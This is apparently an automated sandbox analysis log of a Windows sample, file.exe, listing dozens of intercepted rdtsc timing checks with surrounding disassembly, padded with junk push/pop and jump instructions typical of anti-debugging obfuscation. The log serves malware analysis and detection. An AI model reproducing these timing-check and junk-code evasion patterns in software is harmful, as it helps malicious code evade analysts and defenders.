Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114BE31 second address: 114BE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FD1DD1E6CA2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114BFCE second address: 114BFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007FD1DCB3F646h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C23E second address: 114C258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FD1DD1E6C9Ch 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C7DA second address: 114C7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C7E0 second address: 114C7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C7E4 second address: 114C7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D4CB second address: 114D4D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD1DD1E6C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D7D8 second address: 114D7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151560 second address: 115156A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD1DD1E6C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FF67 second address: 114FF6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11518AE second address: 11518BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007FD1DD1E6C96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154A00 second address: 1154A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155EB4 second address: 1155EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155EBD second address: 1155ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F64Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155ECE second address: 1155EED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155EED second address: 1155EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E203 second address: 111E214 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD1DD1E6C9Ch 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E214 second address: 111E21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159B1F second address: 1159B24 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159B24 second address: 1159B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FD1DCB3F650h 0x0000000d jl 00007FD1DCB3F64Ch 0x00000013 je 00007FD1DCB3F646h 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007FD1DCB3F646h 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159B52 second address: 1159B62 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FD1DD1E6C96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159B62 second address: 1159B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A40D second address: 115A42D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007FD1DD1E6C9Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A554 second address: 115A558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A558 second address: 115A573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FD1DD1E6C9Ch 0x0000000e pop edi 0x0000000f pushad 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A573 second address: 115A579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A579 second address: 115A581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BDDB second address: 115BDE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD1DCB3F646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C047 second address: 115C058 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FD1DD1E6C96h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C387 second address: 115C38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C38B second address: 115C398 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD1DD1E6C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CA10 second address: 115CA36 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b nop 0x0000000c pushad 0x0000000d jmp 00007FD1DCB3F651h 0x00000012 js 00007FD1DCB3F64Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CA36 second address: 115CA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD1DD1E6CA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CBB0 second address: 115CBBE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CE18 second address: 115CE1E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D067 second address: 115D06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160BC7 second address: 1160BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F493 second address: 115F498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160BCB second address: 1160BCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F498 second address: 115F4A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD1DCB3F646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162975 second address: 1162988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6C9Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116887A second address: 1168884 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11698F0 second address: 11698F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11698F6 second address: 11698FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164695 second address: 116469B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165A97 second address: 1165AA1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165AA1 second address: 1165AC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD1DD1E6C9Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A943 second address: 116A949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169A62 second address: 1169A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A949 second address: 116A94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A94D second address: 116A96D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jnl 00007FD1DD1E6C98h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169B2A second address: 1169B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A96D second address: 116A971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169B2E second address: 1169B38 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A971 second address: 116A9DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov bx, 080Ah 0x0000000c mov dword ptr [ebp+122D1FA7h], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FD1DD1E6C98h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov ebx, edi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FD1DD1E6C98h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c jnc 00007FD1DD1E6C9Ch 0x00000052 xchg eax, esi 0x00000053 push edi 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A9DE second address: 116A9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A9E2 second address: 116A9F7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD1DD1E6C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c js 00007FD1DD1E6CAEh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ABD9 second address: 116ABEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F64Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B9AF second address: 116B9CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BAAE second address: 116BAE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD1DCB3F657h 0x0000000e popad 0x0000000f push eax 0x00000010 push ebx 0x00000011 pushad 0x00000012 jnc 00007FD1DCB3F646h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116D990 second address: 116D99A instructions: 0x00000000 rdtsc 0x00000002 je 00007FD1DD1E6C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E821 second address: 116E83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007FD1DCB3F64Ch 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11706FA second address: 11706FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F7D0 second address: 116F7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F7D4 second address: 116F7DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F7DA second address: 116F7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F64Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117177A second address: 1171780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F8B3 second address: 116F8DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007FD1DCB3F646h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FD1DCB3F652h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F8DB second address: 116F8DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172750 second address: 117275D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117088C second address: 1170892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117275D second address: 1172762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11760F3 second address: 11760F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11760F7 second address: 1176163 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jnp 00007FD1DCB3F646h 0x00000010 pop edi 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FD1DCB3F652h 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c or ebx, dword ptr [ebp+122D2D15h] 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 xor dword ptr [ebp+122D1DF5h], edx 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e jmp 00007FD1DCB3F64Fh 0x00000033 xchg eax, esi 0x00000034 jmp 00007FD1DCB3F64Bh 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jl 00007FD1DCB3F653h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176163 second address: 1176179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6CA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176FDE second address: 1176FE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177FD8 second address: 117804F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FD1DD1E6C98h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov dword ptr [ebp+1243E454h], edx 0x0000002c jbe 00007FD1DD1E6C97h 0x00000032 cld 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FD1DD1E6C98h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f push eax 0x00000050 clc 0x00000051 pop ebx 0x00000052 mov ebx, dword ptr [ebp+122D2A55h] 0x00000058 push 00000000h 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d push ecx 0x0000005e js 00007FD1DD1E6C96h 0x00000064 pop ecx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11782E8 second address: 1178309 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD1DCB3F64Ch 0x00000008 jnp 00007FD1DCB3F646h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 jmp 00007FD1DCB3F64Ch 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179368 second address: 117936E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178309 second address: 1178313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FD1DCB3F646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117936E second address: 1179385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6CA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179385 second address: 117939C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FD1DCB3F646h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117939C second address: 11793A6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD1DD1E6C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CAAC second address: 117CAB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CAB1 second address: 117CAC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FD1DD1E6C96h 0x0000000b popad 0x0000000c jc 00007FD1DD1E6C9Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11216F3 second address: 11216F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11216F8 second address: 11216FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11216FE second address: 1121702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115B46 second address: 1115B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115B4A second address: 1115B5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FD1DCB3F646h 0x0000000e jo 00007FD1DCB3F646h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115B5E second address: 1115B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115B62 second address: 1115B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FD1DCB3F646h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115B75 second address: 1115B81 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007FD1DD1E6C96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115B81 second address: 1115B94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD1DCB3F64Ch 0x00000008 jns 00007FD1DCB3F646h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
